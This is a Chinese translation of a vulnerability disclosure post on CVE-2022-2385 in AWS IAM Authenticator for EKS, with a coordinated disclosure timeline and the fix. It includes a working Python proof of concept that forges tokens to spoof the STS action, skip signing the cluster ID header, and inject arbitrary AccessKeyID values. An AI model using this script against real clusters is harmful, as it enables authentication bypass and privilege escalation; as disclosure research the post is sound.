原文链接:https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator
Amazon Elastic Kubernetes Service (Amazon EKS) 是一项托管服务,可帮助您创建、操作和维护 Kubernetes 集群。mazon EKS 有多种部署选项,包括 AWS 云和本地 (Amazon EKS Anywhere)。Amazon EKS 使用 IAM 通过AWS IAM Authenticator for Kubernetes向集群提供身份验证。
AWS IAM Authenticator 是位于 Kubernetes 集群控制平面内的组件,可使用用户和角色等 AWS IAM 身份进行身份验证。PI 服务器将签名令牌转发到 AWS IAM Authenticator 服务器,该服务器针对 AWS Security Token Service (STS) 执行身份验证。
在对 AWS IAM Authenticator 组件进行研究期间,我发现了身份验证过程中的几个缺陷,这些缺陷可能会使得攻击者绕过对重放攻击的保护,或者允许攻击者通过冒充其他身份在集群中获得更高的权限。在这篇博文中,我将解释在 AWS IAM Authenticator 中检测到的三个漏洞,所有这些漏洞都是由同一代码行引起的。其中两个自第一次提交(2017 年 10 月 12 日)以来一直存在。
aws-iam-authenticator的开源代码现已更新并包含补丁。任何使用 EKS Anywhere 或使用易受攻击版本的aws-iam-authenticator代码的人都应该更新集群。
AWS 发布了安全公告。
CVE 发布:CVE-2022-2385。
EKS 和 AWS IAM 身份验证
从 Amazon EKS 于 2018 年推出之日起,它就包括对 AWS IAM 用户和角色的原生支持,作为可以针对集群进行身份验证的实体。身份验证依赖 AWS Security Token Service (AWS STS) 中的GetCallerIdentity操作,该操作返回有关其凭证用于调用操作的 IAM 用户或角色的详细信息。此身份验证流程由AWS IAM Authenticator for Kubernetes工具(称为aws-iam-authenticator )实施和执行。
aws-iam-身份验证器工具开发最初是一项开源计划,旨在创建一种使用 AWS IAM 凭证对 Kubernetes 集群进行身份验证的机制,最终捐赠给了云提供商特别兴趣小组 (SIG)。该项目目前由 Amazon EKS Engineers 维护。
适用于 Kubernetes 的 AWS IAM Authenticator 可以安装在任何 Kubernetes 集群上,并且默认安装在 AWS 云和本地 (Amazon EKS Anywhere) 上的任何 EKS 集群中。如果集群基础设施由提供商管理,最终用户将无法访问包括 API 服务器 pod 在内的控制平面资源。由于 AWS IAM Authenticator 也部署在控制平面中,因此最终用户无法访问其在托管 EKS 集群中的资源,但可以在 CloudWatch 中查看其日志。
我不会在这篇博文中详细介绍 AWS IAM Authenticator 服务器的整个后端实现,但它是核心组件,它从 API 服务器接收令牌并使用它来查询 AWS Security Token Service (AWS STS)匹配身份(用户或角色)详细信息。然后,AWS IAM Authenticator 服务器使用映射将 AWS 身份转换为具有用户名和组的 Kubernetes 身份。该映射在名为“aws-auth”的 ConfigMap 中指定,并且可以由集群管理员进行编辑。
- 用户向 API 服务器发送请求以获取 Kubernetes 资源,例如“get pods”(可以使用kubectl工具)。该请求在“Authorization”标头中包含一个token(令牌)。令牌是对 AWS STS 的签名请求的 base64 编码字符串。
- API 服务器接收来自用户的请求,提取令牌并将其在请求正文中发送到AWS IAM Authenticator 服务器的/authenticate端点。
- AWS IAM Authenticator 服务器从 API 服务器接收令牌,base64 对其进行解码并执行一组验证。如果所有验证都通过,AWS IAM Authenticator 会将签名的请求从令牌发送到 AWS STS。
- AWS STS 从 AWS IAM Authenticator 服务器接收签名请求并验证签名。如果签名有效,它会将GetCallerIdentityResponse中的 AWS IAM 身份详细信息发送到 AWS IAM Authenticator 服务器。
- AWS IAM Authenticator 服务器从 AWS STS 接收GetCallerIdentityResponse对象,并根据“aws-auth” ConfigMap中的规则将其映射到匹配的 Kubernetes 身份。
- API 服务器从 AWS IAM Authenticator 服务器接收 Kubernetes 身份,并使用 RBAC 检查其权限。如果身份被授权执行操作,则发回 Kubernetes 资源响应。例如pod 列表。
如果在验证过程中出现访问被拒绝、签名无效或其他错误,则会向用户回滚错误消息。
EKS 集群设置
我创建了一个新的 EKS 集群“gaf-cluster”并为 AWS IAM Authenticator 启用了日志记录。
我使用以下命令更新了我的~/.kube/config文件(kops 为您完成):
aws eks --region us-east-1 update-kubeconfig --name gaf-cluster
当我运行kubectl命令时,例如“kubectl get pods”,以下请求被发送到 EKS 集群的 API 服务器:
如您所见,生成了一个令牌并随请求一起发送。这是 base64 解码值的输出(没有k8s-aws-v1前缀):
https://sts.us-east-1.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXXXXXXXXXXXXXXXX%2F20220525%2Fus-east-1 %2Fsts%2Faws4_request&X-Amz-Date=20220525T113918Z&X-Amz-Expires=0&X-Amz-SignedHeaders=host%3Bx-k8s-aws-id&X-Amz-Signature=757fab3461c3489d7a71d65658299940fba6516134fcab419a
这是对 STS 的签名请求。API 服务器将获取此值,将其转发到 AWS IAM Authenticator 服务器,该服务器将对令牌进行 base64 解码,进行检查并使用签名请求从 STS 服务获取身份 ARN。对令牌内容进行的检查有:
- URL 方案必须是 HTTPS。
- URL 主机必须是有效的 STS 主机。
- URL 路径必须是“/”。
- 遍历所有查询参数并检查参数名称是否必须在允许列表中。
- “action”参数必须是“GetCallerIdentity”。
- 集群 ID 标头作为请求的一部分进行签名。
- 从“X-Amz-Credentials”参数中提取访问密钥值。
在 AWS IAM Authenticator 服务器完成映射后,生成的身份将具有 Kubernetes用户名和组,这些用户名和组将在集群内使用并由 RBAC 规则强制执行。
研究成果
- 验证签名的 STS 请求参数和 Action 名称的重要性
检查参数的名称和值以避免由操作引起的安全问题是至关重要的。。在这里,您可以了解此类漏洞。
在 AWS IAM Authenticator 中,攻击者可以制定可执行任何操作值的恶意令牌。
- 发送恶意令牌而不签署集群 ID 标头
集群 ID 是每个集群的唯一标识符,可防止某些重放攻击。即使攻击者设法获得了属于其他人的 STS GetCallerIdentity 请求,也不能使用它代表该用户对 EKS 集群进行身份验证,因为集群 ID 标头未作为请求的一部分进行签名。
在 AWS IAM Authenticator 中,攻击者可以在不签署集群 ID 的情况下制作恶意令牌。此令牌已被 AWS IAM Authenticator 服务器接受,并且不会在 STS 上导致错误,因此,对于我们有干净的 STS GetCallerIdentity 请求(未为另一个集群签名)的情况,它会绕过重放保护。
- 完全控制 aws-iam-authenticator 使用的访问密钥值
用户可以将映射添加到包含 {{AccessKeyID}} 占位符的“ aws-auth” ConfigMap,该占位符将在映射评估期间被服务器替换。
以下是“ aws-auth” ConfingMap 中此类映射的示例。假设集群管理员在 AWS 访问密钥之后定义了集群中的用户名。我将为“gaf_test”IAM 用户添加到“gaf-cluster”的映射。
使用“kubectl edit configmaps aws-auth -n kube-system”进行编辑:
mapUsers: |
- userarn: arn:aws:iam::000000000000:user/gaf_test
username: user:
现在,当我使用“gaf_test”IAM 身份时,Kubernetes 映射的用户名将匹配访问密钥。
在 AWS IAM Authenticator 中,攻击者可以制作恶意令牌来操纵 AccessKeyID 值。我可以输入任何我想要的字符串,AWS IAM Authenticator 服务器将在映射过程中使用该字符串替换 {{AccessKeyID}} 占位符。
这可能会导致 EKS 集群中的权限提升。
这是一个 Python 脚本,它生成所有三种类型的恶意令牌:
import base64
import boto3
import re
from botocore.signers import RequestSigner
REGION = 'us-east-1'
CLUSTER_ID = 'gaf-cluster'
def get_bearer_token(url, headers):
STS_TOKEN_EXPIRES_IN = 60
session = boto3.session.Session()
client = session.client('sts', region_name=REGION)
service_id = client.meta.service_model.service_id
signer = RequestSigner(
service_id,
REGION,
'sts',
'v4',
session.get_credentials(),
session.events
)
params = {
'method': 'GET',
'url': url,
'body': {},
'headers': headers,
'context': {}
}
signed_url = signer.generate_presigned_url(
params,
region_name=REGION,
expires_in=STS_TOKEN_EXPIRES_IN,
operation_name=''
)
return signed_url
def base64_encode_no_padding(signed_url):
base64_url = base64.urlsafe_b64encode(signed_url.encode('utf-8')).decode('utf-8')
# remove any base64 encoding padding:
return 'k8s-aws-v1.' + re.sub(r'=*', '', base64_url)
def create_mal_token_with_other_action(action_name):
url = f'https://sts.{REGION}.amazonaws.com/?Action={action_name}&Version=2011-06-15&action=GetCallerIdentity'
headers = {'x-k8s-aws-id': CLUSTER_ID}
signed_url = get_bearer_token(url, headers)
signed_url = signed_url.replace(f'&action=GetCallerIdentity', '')
signed_url += f'&action=GetCallerIdentity'
return base64_encode_no_padding(signed_url)
def create_mal_token_without_cluster_id_header_signed():
url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id'
headers = {}
signed_url = get_bearer_token(url, headers)
signed_url = signed_url.replace('&x-amz-signedheaders=x-k8s-aws-id', '')
signed_url += '&x-amz-signedheaders=x-k8s-aws-id'
return base64_encode_no_padding(signed_url)
def create_mal_token_with_other_access_key(value):
url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-credential={value}'
headers = {'x-k8s-aws-id': CLUSTER_ID}
signed_url = get_bearer_token(url, headers)
signed_url = signed_url.replace(f'&x-amz-credential={value}', '')
signed_url += f'&x-amz-credential={value}'
return base64_encode_no_padding(signed_url)
print("Token with other action:")
print(create_mal_token_with_other_action('CreateUser'))
print("Token without cluster id header signed:")
print(create_mal_token_without_cluster_id_header_signed())
print("Token with other value as access key:")
print(create_mal_token_with_other_access_key('some-other-value'))
注意:您可能需要多次将带有恶意令牌的请求发送到 EKS API 服务器。原因将在下述部分进一步解释。
根本原因
三个漏洞的原因在于此代码行:
在上面的代码中,攻击者可以发送两个具有相同名称但具有不同大小写字符的不同变量。例如:"Action" and "action"。
由于两者都是“ToLower”,queryParamsLower字典中的值将被覆盖,而对 AWS 的请求将与参数及其值一起发送。很棒的是 AWS STS 会忽略它不需要的参数,在这种情况下,AWS STS 将忽略“action”参数。
因为 for 循环没有排序,所以参数并不总是按照我们想要的顺序覆盖,因此我们可能需要多次将带有恶意令牌的请求发送到 AWS IAM Authenticator 服务器。自首次提交(2017 年 10 月 12 日)以来,易受攻击的根本原因在于 AWS IAM Authenticator,因此从第一天起,更改操作和未签名的集群 ID 令牌都可以利用。自2020 年 9 月 2 日(版本 v0.5.2)添加此功能以来,可以通过 AccessKeyID 来利用用户名。
修复
EKS 团队添加了一个函数来验证没有重复的参数名称。
时间线
- 2022 年 5 月 25 日:向 AWS 安全部门报告了该漏洞。
- 2022 年 6 月 3 日:与 EKS 团队会面,讨论问题和缓解措施。
- 2022 年 6 月 10 日:EKS 团队对我的集群应用了修复以进行验证。我重新测试并验证了修复。EKS 团队开始将更新版本部署到所有地区。
- 2022 年 6 月 28 日: 更新后的 Authenticator 已成功部署到所有 EKS 区域。
- 2022 年 6 月 29 日:EKS 团队打开了一个拉取请求,其中包含对 kubernetes-sigs 组织中 aws-iam-authentication 存储库的修复。
- 2022 年 6 月 30 日:带有修复的拉取请求被批准并合并到 master。